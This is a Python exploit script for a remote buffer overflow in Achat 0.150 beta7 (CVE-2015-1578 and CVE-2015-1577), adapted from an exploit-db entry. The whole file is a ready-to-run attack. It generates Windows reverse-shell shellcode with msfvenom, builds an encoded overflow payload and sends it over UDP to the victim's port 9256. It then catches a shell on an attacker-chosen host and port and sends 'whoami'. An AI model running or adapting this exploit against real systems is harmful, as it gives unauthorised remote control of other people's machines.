# -*- coding: utf-8 -*-

# Achat 0.150 beta7 - Remote Buffer Overflow
# CVE: 2015-1578 and 2015-1577
# Exploit author: Kahara Manhara
# https://www.exploit-db.com/exploits/36025
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>


import argparse
import commands
import requests
import socket
import time
import sys
from pwn import *


def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Achat 0.150 beta7 - Remote Buffer Overflow', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='Victim host', 
                            required=True)
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
        
    # cons
    rhost = args.rhost
    lhost = args.lhost
    lport = args.lport
    
    def reverse_shell(l):
        l.sendline("whoami")
        l.interactive()
            
            
    def generate_shellcode():
        
        l1 = log.progress("Shellcode generate")
        
        if ((os.path.exists('/bin/msfvenom') is False) and (os.path.exists('/usr/bin/msfvenom') is False)):
            l1.failure("Please, install the msfvenom in order to generate the shellcode.")
            sys.exit(1)
            
        msf_payload = "msfvenom EXITFUNC=thread -p windows/shell_reverse_tcp LHOST={} LPORT={} ".format(lhost, lport)
        msf_payload += "BufferRegister=EAX -e x86/unicode_mixed --arch x86 --platform windows"
        msf_payload += " -b '\\x00\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c"
        msf_payload += "\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b"
        msf_payload += "\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa"
        msf_payload += "\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9"
        msf_payload += "\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8"
        msf_payload += "\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7"
        msf_payload += "\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6"
        msf_payload += "\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5"
        msf_payload += "\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff' -f raw"
        
        try:
            shellcode = commands.getstatusoutput(msf_payload)[1].split("bytes\n\n")[1]
        except Exception as e:
            print(e)
            l1.failure("Failed to generate the shellcode, try again later.")
            sys.exit(1)
            
        else:
            l1.success("Generated with success, size: {} bytes".format(len(shellcode)))
        
        return shellcode
    
    
    def craft_payload():
        
        shellcode = generate_shellcode()
            
        l1 = log.progress("Payload craft")
        
        first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
        payload = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
        payload += "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
        payload += "\x62" + "A"*45
        payload += "\x61\x40"
        payload += "\x2A\x46"
        payload += "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
        payload += "\x61\x43" + "\x2A\x46"
        payload += "\x2A" + first_stage + "C" * (157-len(first_stage)- 31-3)
        payload += shellcode + "A" * (890 - len(shellcode))
        payload += "\x00" + "A"*10 + "\x00"
        
        l1.success("Crafted with success!")
        
        return payload
        
    
    def exploit():
        
        payload = craft_payload()
        
        l1 = log.progress("Achat exploit")
        
        try:
            l = listen(lport)
            
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            server_address = (rhost, 9256)
            
            i=0
            while i<len(payload):
                if i > 172000:
                    time.sleep(1.0)
                sent = sock.sendto(payload[i:(i+8192)], server_address)
                i += sent
            sock.close()
        
        except Exception as e:
            print(e)
        
        else:
            l1.success("Success!")
            reverse_shell(l)
            
            
    
    # main
    log.info("Achat 0.150 beta7 - Remote Buffer Overflow")
    log.info("Python script exploit author: nullarmor")
        
    exploit()


if __name__ == '__main__':
    main()

